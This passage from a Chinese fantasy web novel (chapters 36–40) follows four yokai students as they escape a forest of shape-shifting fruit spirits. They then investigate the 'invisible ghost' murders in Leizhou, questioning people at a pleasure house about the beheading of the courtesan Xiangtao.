万情贞满腔的激动泄了气，他呆呆地看着前方，无穷无尽的树木围绕着他，左看右看都是万分相似的情景，刚刚来时的路早已不见踪影。对了……猫大人原本是在哪个方向来着？
万情贞一脸茫然，连迈出第一步的勇气都僵在了脚下。
沙沙，沙沙……
他抬起头，看见茂密繁复的树叶，绿色在夜色下变得黑沉沉的。他猛然意识到什么，垂眼在地上找了好几圈——哪里还见得刚刚砸到他的青色果子？
这棵树上根本没长果子啊。
沙沙，沙沙……
沙沙沙……
好吵。
叶米挥开前边拦路的灌木丛，刚迈出一步，脚边咕噜噜地滚来一个青色的果子。她挑了下眉，捡起来看了看，果子散发着一股湿漉漉的清香，似乎是长在河边的哪颗树上的。
看这果子滚来的方向，应该就是在前边不远处。
叶米将果子往衣服上擦了擦，一边往前一边正要咬下，齿与果将要相接时，她余光瞧见前边有半个人影。
叶米将果子放下：“万情贞？”
那人影似乎动了动。
“万情贞？”
叶米走上前去，看见万情贞的背影背对着她，似乎是听到她的脚步声，转过身来朝她一笑。
这笑容是寻常的微笑，但叶米怎么看都有些古怪，她好似没在万情贞脸上看到过这么……端正谦和的笑容？叶米狐疑地打量了他一下，抬起手中的果子：“你可在附近看到这颗结青果子的树？”
万情贞点点头，往身后伸手一指：“那边。”
叶米抬下巴：“你带我去。”
万情贞听话地转过身去带路，走了两步就迎面倒在了地上，整个人猛地消失不见。叶米收回手，低头一看，刚刚“万情贞”所在的位置出现了一颗腐烂的青色果子。
她挑了下眉，看向自己手中的这颗。
沙沙沙……
咕噜噜。
叶米转过头去，看见后边站着一个脸色震惊的万情贞，指着她说：“你、你杀人了？你，啊——”
这个万情贞又被她一招毙命倒在地上。
叶米正若有所思着，右边也跑来一个万情贞，他神色焦急道：“这林子里有古怪，快，跟我出去！跟我——”
然后这个万情贞也死了。
现在是什么情况？叶米想，这些万情贞好像是这青色果子变的，那这果子还能吃吗？她真是有点饿了……等等，重点暂且不在这里，当务之急是要找到真的万情贞，免得他出什么事，到时候不好和师父交代。
不过说起来，这些果子怪还挺弱的，一招都抗不下……
叶米思酌着往前走，踩着灌木和茂盛的草地走了一会，忽而一阵黑风吹来，她用手背遮住飞来的尘土树叶，风又猛然停了，叶米抬头一看，对面有两棵树……不对，是两个身影，面色冷漠地站在那。
一个是她，一个是万情贞。
叶米一挥手施法，那两个身影就消失了。这下她有些烦了，这些果子怪是弱，但不知道有多少，要不还是先出了林子再……
才想到这，对面又跑过来两个万情贞，叶米“啧”了一声，一抬手前边那个就噶得很干脆，后边那个吓得顿住脚步，眼看叶米手抬到一半，噗噔跪下来哭喊道：“猫大人手下留情，我是真的万情贞啊！！”
看他这熟练的滑轨求饶的姿势，不是万情贞还有谁。叶米收回手，朝他走去：“跟紧我，先出林子。”
当然要跟紧了，万情贞现在恨不得扒在她身上，又担心有性命之忧，只好贴着猫的脚后跟走：“猫大人，这林子太古怪了，我刚刚瞧见了好多个你，还瞧见了我自己！”
叶米点点头：“和我遇见的情况差不多。你是怎么认出来的那些我是假的？”
万情贞：你看废物的眼神我可太熟悉了……
万情贞：“猫大人您的英姿哪是那些妖怪模仿得来的！他们可以模仿你的容貌，但不能模仿您英明神武的气场啊！”
“说的不错。”
万情贞又问：“不知猫大人是如何分辨出小弟的真假呢？”
叶米朝他温和一笑：“那些果子怪都没有你懦弱废物，一见着我就痛哭求饶的只有你。”
万情贞：……
算了！这些不重要！
“猫大人，我们走了许久，还是迟迟找不到路，这林子当真是古怪，可又闻不见妖味，我们……我们怕不是真的撞鬼了吧？”
叶米早就注意到了，不过她自有出去的办法，这时候在林子里走一会不过是想探查一下林中的古怪，顺便找找看除了那青色果子还有没有吃的，走了会没找到，那就不必多待了。
她抬头一看，天在树木枝叶之间，好似越变越小了，树木仿佛越高越弯，像一个个巨人弯下身子欣赏他们的一举一动，沙沙沙像
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古怪的笑声。
叶米猫眼微眯，指尖浮起一团白光，她反手抓住万情贞的肩膀，脚尖一点一跃而起，用法术劈开头顶压着他们的枝叶，破开一道出口飞出，很快就有一片云朵应招而来，乖乖送到二妖脚下。
万情贞落在云上，这才压下差点跑出喉咙的尖叫，他扒拉着云边缘往下一看，下边的树木密密实实，一点也瞧不见森林里的景况。
叶米操控着云离开的时候，他一直盯着下边的树看，可是没找到一颗长着青色果子的树，奇怪地问叶米：“猫大人，你在里头有没有瞧见长着青色果子的树？就是那些果子怪死后变成的青色果子。”
“没有。”
“我有看到，”万情贞有些可怖的激动，“我莫名就到了那棵树下，有一颗果子砸了我头，我抬头一看，树上长满了果子，我就叫了你一声，但是却找不到你的身影，然后我一抬头……树上的果子也不见了。”
万情贞真是越说越恐怖，抱着自己瑟瑟发抖：“呜呜呜呜，我下次还是不要和你分开好了……”
叶米坐在云上打量了下林子，微微摇头：“不见得是鬼，这片林子气息还算正常，我看那些青色果子估计是成精的妖果，不过现在还不成气候。”
“原来是植物成精……”万情贞松了口气，“柳树槐树成精我倒是见过，那青色果子不知道是什么树……”
叶米也不认得。
二妖腾云驾雾，不过一会就回到了原来的地方，谢珍珠和胡和烈正坐在原地闲闲没事干，见他俩回来了，谢珍珠兴奋地站了起来：“叶米！你们可算回来了，我刚刚还有些担心呢……”
她这么说着，眼神在二妖的手上转圈圈：“啊，没找到吃的吗……”
“还吃的，差点就出不来了！”万情贞心有余悸道，“这林子里有树精，长出的果子会变成人的模样骗人，那容貌是一等一的相似！而且进去后就会迷路，失去方向。”
胡和烈了然：“所以你们才坐云飞回来。”
谢珍珠听了，庆幸自己没进去：“是什么树精啊？”
万情贞摇摇头：“不知道，就知道果子是青色的。”
“长这样。”叶米从怀里掏出一个东西，正是先前滚到她脚边的青色果子，“你们谁见过？”
三妖凑过来看了看，都不知道。
万情贞很警惕地盯着她手中的果子：“猫大人，不如把这东西扔了吧，要是它和林子里的那些果子怪一样变成我们的模样怎么办？”
谢珍珠：“是啊是啊……”
叶米想了想也是，随手一抛，将果子抛入了林中，拍拍手道：“好了，既然找不到吃的，那就赶紧找个地方睡觉，明早继续上路，尽快赶到下个地方。”
“好。”
四妖便寻了个地将就睡了一晚，第二日被肚子饿醒，一边喊饿一边赶路，终于在正午时看见了前方的城门。
“雷州！”饿蔫了的万情贞双眼放光地跳了起来，“终于到了！快、快，我们快去找点吃的！”
37. 第 37 章
不止是他，其他三妖也露出了欣喜的笑容。虽说他们当妖的饿个几天也不会死，但肚子饿的感觉还是很难受的。
顺利进入雷州后，四妖先找了最近的客栈吃饭，真是恶妖扑食一般地吞下肚子里了，惊得周遭的百姓纷纷投来诧异的目光。
胡和烈说要好好歇一天再走，这两日风餐露宿的过得好惨，他已经忍了很久了；叶米茶饱饭足不免也有些骨头懒散，难得没有反对。四妖就商量着在客栈住一晚，顺便看看雷州到底有什么难关等着他们。
“希望第二关不要太难……”谢珍珠打了个哈欠，“叶米，我们要不要先去房间里休息一下？”
叶米：“好。”
他们出门在外，万妖堂不许学生奢侈浪费，花钱是能省则省，便只开了两个房间，分了男女。
谢珍珠到了屋子里，打着哈欠、行囊一放就躺在床上睡觉了，叶米没有大白天睡觉的习惯，便自己出了客栈，打算随处看看，顺便找找第二关的信息。
雷州还挺热闹的，客栈出来的这条街上铺了两排的摊贩，空中飘着各色食物的香味。一路走下去，还有不少酒楼茶肆，处处是热闹的叫卖声、说话声。叶米知道去哪探听消息，很快便走进了一家有二层规模的茶肆。
二楼是雅间，一楼大堂是散座，一进门，就能听见大堂里头坐在台子上说书的老先生的说书声。叶米寻了处没人的小桌落座，很快就有小二迎上来给她添茶倒水，叶米点了盘最便宜的小瓜子。
“……话说这无形鬼确实人如其名，来无影去无踪，官府没日没夜地追查半月都查不到他的一丝行踪。许多目击者都道：只一眨眼的功夫人就死了，恍惚间似有人影闪过，但连那影子都是似有似无，没人敢确切地说自己瞧见过……”
咔嚓。
叶米咬开瓜子壳，觉得这位老先生说书说得还挺有氛围感，那阴沉沉的语调让人感到鬼怪欲来的毛骨悚然。
“老先生，”台下有客人举手，“打扰打扰，小生刚入座，这故事只听了两句，实在是好奇，不知这无形鬼先前都做了怎样的恶行？”
这么说着，他递给边上服侍的小二一些银两，小二快步地走上台去，递到说书先生身边。
说书先生原本说恐怖故事而瞪大的眼睛都弯弯的了：“嗐，既然这位公子爱听我这老头说些民间趣事，那老夫再说一回便是了，何须如此客气呢，哈哈哈……”话是这么说的，钱已经收下了。
那位客人说：“请。”
叶米：蹭到了。
“据老夫所知，这无形鬼截止今日为止，已经杀了至少三人。第一人是一位私塾的老夫子，虽说已是半个身子进棺材的年纪，但能活着谁乐意死呢？更别说他教书育人几十年，在雷州也是小有名气的师长，这一死，多少学生来哭丧悼念？案子不日便在民间传开。”
“官府顶着民众重压查案，这边还没查出个名堂，那边又死了个人！这回啊，是个寻常百姓家的男人，虽说算不上一号人物，可一家之主死了，他家中的寡妇孤身带着三个孩子。之后的日子可就不好过喽！真是造孽那。”
说到这，说书先生摇摇头叹了口气，喝了口茶水，扇子一打，继续道：
“再说这第三人，就是前两日发生的事。这回死的呀，是怡心楼的花芙，可怜她一位不过二十年华的美貌女子，唉……官府苦苦寻不到证据，又担心无形鬼再杀人，昨日已为此案写了通缉令，如今正贴在城门口和官府前的告示墙上呢！这是在寻求民间贤能之士的协助，实在是无奈之举啊！”
底下有人问：“不知悬赏有多少银两？”
说书先生：“足足一百两！”
“呦！”这夸张的数字让下边顿时议论纷纷，又有人大声问，“老先生，通缉令上可有凶手画像？”
说书先生长叹一声，摇摇脑袋：“无形鬼、无形鬼，无影无踪似鬼，难就难在无人知晓他模样，更是没人见过他作案那！现在民间已有许多传闻，都说只怕真是鬼在作案！”
“啊……真的假的？”
“怎么可能，世上哪有鬼？”
“嘿，我记着你昨日还去拜神了，有神怎么没鬼？”
“这……两回事！”
……
咔嚓。
叶米嗑完最后一颗瓜子，将茶盏中的茶水一饮而尽，起身离开了茶肆。
她自然是知道世上有鬼的，好在她也能打鬼，当然，如果是人或是妖，那就更方便了。
她前脚迈出茶肆，大堂里头坐在台子边上的男人就站了起来，他正是拿钱给说书先生让他再说一遍前因后果的那位客人，穿着一身普通的灰白色圆领窄袖衫，头发全然束起在幞头下，清楚地露出一张俊秀的脸来。
装扮寻常，唯一有些异于常人的是他从桌上拿起来别在腰侧的一把木剑。若是叶米看见了，一眼便能认出这看起来毫无杀伤力的木剑是道士人手必备的桃木剑。
叶米来到官府边上的告示墙前边，看见胡和烈的背影，并不惊讶，只是默声走到他边上。
胡和烈感觉到边上来了人，随意一看，倒是给他吓了一跳：“你怎么来了也不给点声！”
叶米：“你这么大惊小怪做什么？”
胡和烈没好气道：“还不是被你偷袭怕了！”
叶米耸了下肩，朝贴满告示的告示墙上一抬下巴：“你也听说了，什么……无形鬼。”
“我随便抓两个人就打听出来了，”胡和烈道，“雷州的百姓好像都知道这件事，最近传得很是热闹。你猜这是不是我们的第二关？”
“不错。”
这和蔼的男声自然不是叶米回应的，二妖回过头，看见树法祖师做了普通老头的打扮站在后边，面色平静地朝他俩点了点头。
二妖恭敬行礼：“师父。”
树法祖师道：“为师还有要事，话不多说，抓住这无形鬼，交予官府，为雷州百姓斩除祸害，如此便算你
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们过了这第二关。”
“弟子遵命。”
树法祖师似乎在到处跑场颁布任务，留下一句话就急着走人了。叶米和胡和烈仔细看了会通缉令，打算先回去找万情贞和谢珍珠一起行动。
二妖刚离开告示墙，带着桃木剑的男人就走了过来，站在那往离去的两道背影看了会，脸色若有所思。
四妖在客栈商量着从何处入手抓无形鬼，万情贞提议先去怡心楼看看，毕竟前两日刚死了人，大家都新鲜着呢，说不定能知道不少消息。于是他们先往怡心楼走去。
怡心楼规模可观，楼有三层高，一层有别人普通门店好几间宽，门头气派，搭建着高大的彩画欢门，帘幕啊灯啊几乎要挂满了，花花绿绿的很是漂亮。万情贞打听过来，这怡心楼是雷州有名的风月场所，消费不低。
白日里能用膳饮茶，晚上灯一亮，就是欣赏莺歌燕舞的好去处。
几妖都没见识过这么繁华的酒楼，走进门时脖子就伸长了看，转来转去地望，很难不暴露他们“乡下人进城”的好奇。
好在楼里的店小二不嫌弃他们，热情地上前迎接了：“几位贵客有请，是要用膳还是听曲赏舞？”
胡和烈不知道什么弯弯绕绕，直白道：“都不是，听说你们楼里前两日死了人？”
店小二殷勤的笑脸一僵，飞快地打量了四人一眼，可任他在这察言观色的地方工作了好几年，也看不出这四位普通年轻人有什么名堂，他斟酌地回答道：“唉，真是好事不出门坏事传千里，让几位客人见笑了。”
“没啥好笑的。”胡和烈绷着脸装严肃，“听说是鬼杀人？”
他一提到某个字，那店小二就明显着急了起来，慌张摆手，小声道：“不不不、客官慎言啊！我们怡心楼堂堂正正开店，光明磊落做生意，不干亏心事的，哪里会有鬼呢？”
叶米：“你这意思是，已经知道凶手是谁了？”
“嗐，官府都没查明白的事，小的如何知道呢？”
叶米：“那是人是鬼杀的不也是说不准的？”
店小二擦了把汗：“不兴说、不兴说……”
胡和烈有些不耐烦了：“你不说我们怎么帮你抓鬼？”
“抓鬼？”那店小二猛然抬起头来，瞪着眼睛看着胡和烈，“您、您是说……您会捉鬼！？”
万情贞用手在几妖之间转了一圈：“我们，我们都会。”
“哎呀！贵客贵客！”店小二一改先前支吾犹豫的态度，忽地变得好生热情，朝四妖拱手拜了记下，往斜上方一抬手，“还请几位贵客随小的上二楼雅间用些小食、喝点茶水，再细谈此事。”
四妖面面相觑，跟在他后头上了楼，被带入一个宽敞雅致的屋子，里头的大圆桌可以坐十几人，现在就坐了他们四妖。
这名叫陈二的店小二也不着急说事，先是给他们上了满满一桌的美味佳肴，又送了四妖不会喝的好酒，属实是很客气热情地款待了。
38. 第 38 章
叶米谨慎地朝忙来忙去的陈二道：“我们可没钱。”
陈二连忙摆手：“不收钱不收钱，若是几位真能为我们怡心楼解决了那只恶鬼，我们掌柜的理应给你们钱呐！”
谢珍珠听他前言后语对不上，又被这些吃食眩晕了脑袋，还有些摸不着头脑呢：“你不是说你们楼堂堂正正开店，光明磊落做生意，不干亏心事的，所以没有鬼嘛？”
“嗐……”陈二尴尬一笑，“那是说给普通客人听的。要是大家知道我们楼里闹了鬼，谁还来光顾那！”
叶米挑起眉：“所以你们这里真是有闹鬼一事？”
“是……也不是，不好说……”
胡和烈咬了口新鲜桃子：“没什么不好说的，你就把案发当日的情况同我们仔细说说，我们自有判断。”
陈二便说他正有此意，不过他说他知道的不多，能说多少说多少：“两日前的晚上，真是一个再寻常不过的日子了，唉！就和往常一样，申时过后，天色将黑，楼里的姑娘们梳妆打扮好就准备迎客了，香桃姑娘……”
胡和烈瞥了眼手中的桃子：“香桃是谁？不是叫花芙吗？”
陈二一愣，没想到他们不知道，便解释道：“花芙和花魁，就如解元和壮元，我们楼里共有五位花芙，香桃姑娘是其中一位。”
他这么解释大家都听懂了，便让他继续。
“其实在我们楼里，五位花芙的恩客是最多的，她们不比花魁一面难求，又比下边普通姑娘们要多才多艺、容貌更甚，还多了个名头。所以许多客人乐意多花些银两，欣赏她们的歌舞。”
“按往常来讲，香桃姑娘从酉时开始迎客，到子正准备歇息……可那日亥时，香桃姑娘就在众目睽睽之下死在了二楼飞桥上……”
谢珍珠疑惑：“为什么会在飞桥上呀，接客不是在雅间内吗？”
陈二道：“是这么回事，那日亥时，外边有人在放烟火爆竹，许多姑娘都出来看了。当时飞桥上有许多人，大家都瞧热闹瞧得开心，哪里想香桃姑娘就这么死了，死得还……如此可怖！”
叶米：“死法如何，你仔细说来。”
陈二一回想起香桃的惨状，缩着脖子忍不住发抖：“她、她被凶手从后边砍断了半截脖子，脑袋歪着吊在脖子上，倒在地上的时候就断了，还未合眼的头砸在地上砰砰跳了两下……”
画面感有了。
万情贞莫名感到脖子后头凉飕飕的，摸了摸，原来是自己出了一点汗水，他吁了口气道：“伤口是什么凶器造成的？”
“不清楚。”陈二摇摇脑袋，“据官府的人说，香桃姑娘脖子处的切口锋利平整，若是刀剑所致，必定是上等的宝贝，且凶手也是身手矫健，擅用兵器，不然不会形成如此……光滑平整的伤口。”
“啊，”说到这他忽然意识到什么，勉强一笑道，“若是恶鬼所为的话，那就另当别论了，哈哈。”
叶米闻言笑了一声：“看来你们私心已经判定是鬼杀的人。”
陈二苦着脸说：“叶姑娘，我们也不愿意这样，想必四位已经听说过这无形鬼的鼎鼎大名，半月之内发生了三起案子，官府到现在连个头绪都没有，就连凶器是什么都无法确定……这无形鬼行踪诡异，比起人，更像鬼那！”
“实不相瞒，昨日官府贴出了通缉令，上边说找民间的贤能之士协助破案，其实就是察觉案件并非常人所为，想寻求像几位贵客这样能捉鬼的能士帮忙那！”
四妖面面相觑，交换着眼神，心想他们也是第一次破案子来着。胡和烈问：“先不管是人是鬼……接下来查案的流程该如何？”
陈二就按照官府之前的流程走：“不如让小的请案发当日站在香桃姑娘边上的香萍姑娘来同几位说说所见所闻？这位香萍姑娘与香桃姑娘交情不错，也许几位能问出些有用的话来。”
四妖从善如流：“那就请她来问问。”
“小的这就去。”
香萍姑娘二十芳龄，年轻靓丽，只是她的脸色瞧着不大好，哪怕上了不薄的妆容，也盖不住她垂落的眉眼和嘴角里透出来的疲惫。她进来后一一给四妖行礼，声音有些些沙哑。
叶米打量这姑娘的模样，朝陈二道：“你们怡心楼是不是奴役女伎，这还没到晚上，香萍姑娘就这么无精打采了？”
陈二连忙摆手：“没有没有啊！”
“误会误会！”香萍姑娘也吓了一跳，慌张道，“多谢姑娘关心，奴家受宠若惊。不过并非是怡心楼对我不好，只是香萍……前两日看见了香桃姐姐的……唉，才导致这两日是寝食不安。”
陈二生怕被误会：“香萍姑娘，你要是不舒服，可以找赵姑姑告假歇息几日。”
香萍叹了口气：“罢了，若是让我一人待着，怕是又要胡思乱想。”
陈二闻言朝四妖讨好一笑，像是在说“几位看啊不是我们奴役她哦”。
谢珍珠给香萍倒了杯茶水，拉着她坐下：“谁遇见人头落地的情景不会害怕呢？香萍姑娘也是可怜，来，喝口水再说吧。”
香萍朝她感激一笑，不落她面子地轻抿了口茶水。
叶米：“劳烦你回忆一下香桃死亡时的情景。”
“好……”香萍的手指在茶盏上微微收紧，“那日……我正在雅间里陪客人吟诗作画，忽然听见外头有烟火的响声，客人便说出去看看，我就随他去了。当时飞桥上已经有不少的姐妹和客人，大家凑在一起看烟火好不热闹。”
“我瞧见香桃姐姐一人站在那，便过去同她说话，她说刚接待完上一位客人，打算看会烟火消停会……我与姐姐没说两句，梁公子就从楼下上来了，姐姐瞧见便去同他行礼问好……”
万情贞举手：“这个梁公子是谁？”
香萍说：“梁公子是雷州赫赫有名的商贾世家雷家的小少爷，是我们怡心楼的常客。”
胡和烈道：“所以香桃姑娘是和他交情很好？”
香
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萍摇摇头：“也不算，我记着梁公子只点了香桃姐姐一回，不过梁公子可是雷州的名人，他家世好、容貌又英俊，自然受到许多女子的爱戴，大家都想得到他的青眼。他在我们楼里点过不少姑娘听歌看舞，但凡收了他银两的姐妹，见了他没有不去问好的。”
说到这她还指指自己，露出一个微笑来：“奴家也去了。”
四妖：……
胡和烈：“然后呢？”
“然后……”香萍想了想，“梁公子让他的小厮给我们几个姐妹赏了钱，就去找花魁姐姐了。”
叶米：“只是打个招呼就给赏钱啊？”
“是啊，”香萍天真一笑，“梁公子很大方的。”
万情贞莫名感觉自己亏了，心想等他见了这个梁公子也要去问个好。
“梁公子走之后，姑娘们就继续看烟火，我站在香桃姐姐边上和她说话，说着说着她忽然不应声了……”香萍说到这，刚刚提到赏钱时候的微笑已经全然消失不见，只剩下满脸的惊恐，“我转头看她，却见她走神地看着前方，心里正奇怪着，却见她脖子上流下好多血来，浸透了她桃粉色的衣裙……”
“我吓了一跳，以为她只是受伤了，连忙碰了碰她，根本没有使劲，可就这么一下，她直愣愣地就往后边倒了下去，整个人砸在地上，头、头砸断了，滚到我的脚下……”
她无声地尖叫一声，双手交叠着捂住嘴巴，痛苦地闭着的眼睛里溜出好多眼泪，身体明显地发起抖来。
谢珍珠听着都觉得可怖，见香萍这样，更是觉得她可怜了：“香萍姑娘，你没事吧？”
香萍摇摇头，哭着说：“我这两日闭上眼便是姐姐的头滚到我脚边、死不瞑目的眼睛和我对视的模样……我还一直觉得什么东西在碰我的脚，那轻轻地、一触即分的感觉，一直在我脚上徘徊不去，我都不会走路了……”
“香萍姑娘……”
叶米又问：“你可知道香桃有没有与谁不对付？”
香萍抽抽鼻子：“我们做这行的，哪里敢和谁不对付……就是客人说你容貌甚丑、才情不佳，也得笑着应下来、忍着屈辱把歌唱完把舞跳好再走人，这样的事不少，习惯就好了，何必要和钱过不去呢？”
陈二在边上听得连连点头，身为店小二，他心里也是很感慨的：“嗐，是这么个道理，我们这些做伺候人生意的，不就那么回事嘛。”
叶米看向香萍：“你可还有什么要说的？”
香萍抹抹眼泪摇摇头：“奴家知道的就这么多了。”
叶米点点头，指尖一闪，香萍忽地趴到桌上不省人事了，陈二还没反应过来，不知道这人好端端的怎么了，就听叶米道：“送她去屋里歇着吧，明日就能醒了。”
陈二后知后觉地明白是叶米动了手脚让香萍昏睡过去，可他根本不知道是什么手脚，不得不觉得对方真厉害，对几人能捉鬼一事更信服了几分：“好、好，小的这就扶香萍姑娘回去休息。”
39. 第 39 章
陈二带着香萍离开后，雅间里只剩下四妖和片刻的沉默。
还是谢珍珠熟练地先问：“额，你们有什么眉目了吗？”
叶米想了想：“有点饿了。”
她拿起筷子开始夹菜吃。
万情贞无脑捧猫：“猫大人说得对，吃饱肚子才有力气抓犯人嘛！来来，我们先吃着吧？”
于是大家就吃起来。
茶饱饭足，叶米擦擦嘴，慢条斯理道：“这两人提供的信息不多，好在有几个值得注意的疑点，若是能调查清楚，抓住这无形鬼也不是难事。”
胡和烈：“洗耳恭听。”
叶米道：“第一是这三起案子中三位受害者的关联，目前听下来，找不到一丝相似之处，性别、身份，年龄……甚至从事的行当，都各有不同。”
谢珍珠：“难道是随机杀人？”
“不见得。”叶米微微摇头，“若是随机杀人，为何不在大街上杀？三位死者都死在特定的场所，私塾、家中，怡心楼……有人多的地方，也有人少的地方，可见凶手是想要杀这个人，而不是想随便杀个人。”
“所以我偏向于凶手与三位死者之间有或近或远的关系，这是我们可以切入调查的方向。”
“那可以直接从香桃姑娘入手啊，”万情贞提议道，“她常年待在怡心楼里，接触的都是楼里的伙计和点她的客人，虽说人是杂了点，但还算是有个大概的范围，不至于大海捞针。”
“是这么个道理。”胡和烈一摊手，“不过难道你觉得官府的人想不到这一层？”
万情贞：“……是哦。”
叶米瞥了他一眼，继续道：“所以难点不在香桃姑娘的关系链上，而是在前两位死者那，凶手定是与这二人有非常浅薄的关系，才导致官府调查时没有将凶手纳入嫌疑犯名单，从而和香桃姑娘的关系链对不上号。”
谢珍珠忧心地想：那我们能对得上吗
“第二个疑点，”叶米比了个“耶”，“为何凶手偏要在飞桥上人那么多的时候杀人，就算他来无影去无踪，可怎么看都是趁香桃独自一人在屋里休息时更方便更妥当不是吗？”
万情贞一拍手，抢答道：“所以凶手一定是有当时就杀人的缘由，比如那会发生了什么事，让他起了杀人的念头……”
谢珍珠：“发生了什么事？不就是在飞桥上看烟火吗？”
万情贞：“肯定不是那么明显的冲突啊，不然大家都知道了。”
谢珍珠：“那我们都不在场，要怎么知道？”
三妖默契看向猫。
叶米微微一笑：“可以用时转镜，查看死者死亡前的景象，虽说这凶手来无影去无踪，但只要他来了，便会留下证据，哪怕只是小小的端倪。”
三妖一听也是这么个道理，而且看猫很有自信的样子，不自觉也有了些信心，但还有个问题：“可是时转镜在元善师父那……谁去借？”
“我去吧。”胡和烈说，“我速度快。”
“谢珍珠去。”叶米琢磨了一下，“去找师父没什么危险，快慢也不过一个时辰的事。但我们不知道这无形鬼的底细，只怕对上面时被打个措手不及，所以胡和烈和我留下探查无形鬼的行踪最保险。”
谢珍珠一听，点头如捣蒜：“是是是，是这么个道理，搞不好我还会拖后腿的！”
她说到拖后腿，万情贞就想那要不我也跟着去找元善老祖算了，但在心里打了一会退堂鼓后，还是为了面子没把鼓声放出来。
谢珍珠腾云驾雾而去时，外边的天色已是黄昏，怡心楼里点起盏盏琉璃灯，斑斓的色彩在这边的墙上映上一朵荷花，在路过客人的脸上飘过一朵牡丹，不知谁弹起了古筝，怡心楼如往常一般迎来晚间的热闹。
叶米推开香桃姑娘的房门，里头没点灯，光线昏暗，不过猫眼瞧得很清楚，两眼就将这不大的屋子扫了个遍。大概是案子未破、人还没死多久，屋里的东西都还在，但除了床边的妆奁上摆了多一些的胭脂水粉外，其他地方倒是干净得空荡。
胡和烈打开衣柜，瞧见各色的衣裙，迎面扑来一阵有些浓郁的香粉味，给他呛了一个喷嚏，他皱着鼻子道：“这么重的味道，也不怕熏。”
万情贞说：“就是要熏，在衣柜里挂香包，把这些衣服熏上味儿，姑娘们穿在身上就香喽。”
叶米嗅觉灵敏，也觉得味重，一时满脑子都是这香味：“这是什么香？”
万情贞：“我也闻不出来，估计是许多花呀香料啊混在一起用的，为了突出和别人香得与众不同嘛。”
胡和烈捏着鼻子把那些衣服扒拉开，想找找里头有没有什么线索。然后就在衣柜下边的一个小柜子里放出来一个雕纹繁复的鎏金铜盒，打开一看，里头分了两层，每层都再分小格子，小格子里是各种各样的首饰。
“嚯，”万情贞拿起一只珍珠耳坠子，啧啧感慨道，“这些金银珠宝的首饰若都是真的，那可值不少钱。这么多东西定是攒了许久，若是有一日她得以赎身离开怡心楼，就能过上好日子了，可惜……”
胡小爷没缺过钱，就能这么说：“可见钱财乃身外之物。”
叶米笑了一声：“这句话也就这时候能说。”
胡小爷：……
确实平时不咋用到哈。
“你们过来看看这幅画。”叶米指了指挂在厅室窗边的一幅美人画，“画上的署名是梁安，是不是就是那位商贾世家的小少爷？”
“也许就是。”二妖也走近来打量着画作，万情贞看着画中的美人说：“画得还不错啊，有几分画功，这画里的是不是香桃姑娘啊？她衣柜里就有几件像画中女子这样桃粉色的衣裙。”
胡和烈：“自己的房中当然要挂自己的画像。”
叶米凑近美人画闻了闻：“画上有衣柜里的香味。”
胡和烈扇了扇鼻子前的空气：“这香味这么浓，柜子一开全屋子里都有了。”<
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“是沾在画上的，不是空中的。”
胡和烈没搞懂她想表达什么：“啊？”
“也许这画先前在柜子里放着？”万情贞说，“然后这段时间才拿出来挂？”
“不见得。”叶米盯着“梁安”显眼的署名看，“照香萍姑娘所说，梁安是楼中众多姑娘仰慕的翩翩公子，想来能得到他的青眼是很难得的。若本是打算珍藏此画，何必后来又挂出来，所以死者应是拿到手就挂出来了，不管是出于炫耀还是讨好梁安的目的。”
她分析得倒也合理，万情贞摸着下巴看画，上看看下看看，看不出什么名堂：“好吧，那这也算是一个疑点……所以我们现在要做什么？”
叶米转身往门口走：“听陈二说今晚梁安会来找怡心楼的花魁，走，去会会他们。”
身为怡心楼里独一无二的花魁，必然会有独特的待遇，比如葵花姑娘待客的豪华雅间就设在第三层楼上，边上两个屋子空出来给她的几位侍女静候吩咐、准备茶水，还不会被同在第三层的两位花吟姑娘的动静打扰。
叶米三妖跟着陈二来到三楼，葵花姑娘屋前站着两个带刀护卫，灯火明亮的屋里传来热闹的谈笑声，听着里边有许多人。
陈二似有些忐忑的，他不知道第几次问三妖：“三位大师当真有把握捉住那鬼？现在可已有头绪了？”
胡和烈不耐烦道：“你到底在墨迹什么！香桃死之前这个梁公子和她说过话，我们盘问他几句有什么不妥吗？”
“没有没有……”见他有些冒火，陈二提着胆子小心解释，“虽说梁公子待人宽和，但毕竟他是梁家的少爷，小的不敢轻扰他兴致啊……”
胡和烈心想谁还不是个少爷了！拎着陈二的肩膀把他推开，气势汹汹地走上前去：“你不敢边上待着去，让我来。”
他这样的大摇大摆，脸色又不好看，那两个护卫自然觉得虎头蜂是来闹事的，虽未拔剑，但将剑一横挡在他身前，左边那人道：“你是什么人！”
胡和烈不耐烦和两个护卫解释，双手指尖亮起金光，分别往二人身上一点，那两人瞬间被定身住，话也说不出来，只能惊恐地转着眼珠子。陈二虽没被定身，但见这情景也是惊在原地，目瞪口呆。
他的天啊，这几人果真是大师！
胡和烈把门推开，里边的谈笑声戛然而止，一干人等惊讶地看着堵在门口的陌生人。从胡和烈的视角来看，人群中最显眼的是站在厅堂圆桌后的一男一女，女子花容月貌，男的长得也不错，二人微微挨在一起算是郎才女貌，乍一看还很登对。
想来这二位就是葵花姑娘和梁安。
边上的椅子上也坐了几个人，身后各有一位小厮或是丫鬟服侍，估计是梁安待着一起来的朋友。
葵花姑娘的手上拿着一支沾墨的画笔，她面前的圆桌上也摆着一幅画，见到不速之客闯门，她脸上恬然的笑容还未散去，只添了些疑惑：“不知这位公子是……”
40. 第 40 章
胡和烈不着急回复，他的目光在屋内众人的脸上扫了个遍，发现这些人都是普通的凡人，叶米不知何时也走了上来，淡定地打量着屋里的人和物。
他们这般理所当然的模样，倒是让被打扰的人摸不着头脑了。
幸好陈二及时反应过来，连忙小跑过来给屋里人解释胡和烈等人的身份。
“原来是怡心楼请来捉拿凶手的大师，”梁安朝他们微微颔首，“幸会幸会。几位看着都是少年人，没想到年纪轻轻就有这般本事，梁某佩服。”
万情贞在两妖身后小声道：“嘿，他说话还蛮好听的！”
叶米瞥了眼身后那被定住不动的两个护卫，不置可否：“说不定是眼神好。”
万情贞：？这怎么看出来的？
叶米打了个响指，后边传来“砰砰”两声，是两个护卫被解了定身术，一时脱力，手中的剑落到了地上。
屋里原本坐着的几个男人警惕地站了起来，下一秒，房门就被一阵风合上。大家偷偷地面面相觑着，隐隐觉得氛围有些森然，谁都没有再说话。
胡和烈先开口：“香桃姑娘被害那日，你们是不是都在怡心楼里？”
几人的第一反应不是回答，而是看向梁安。
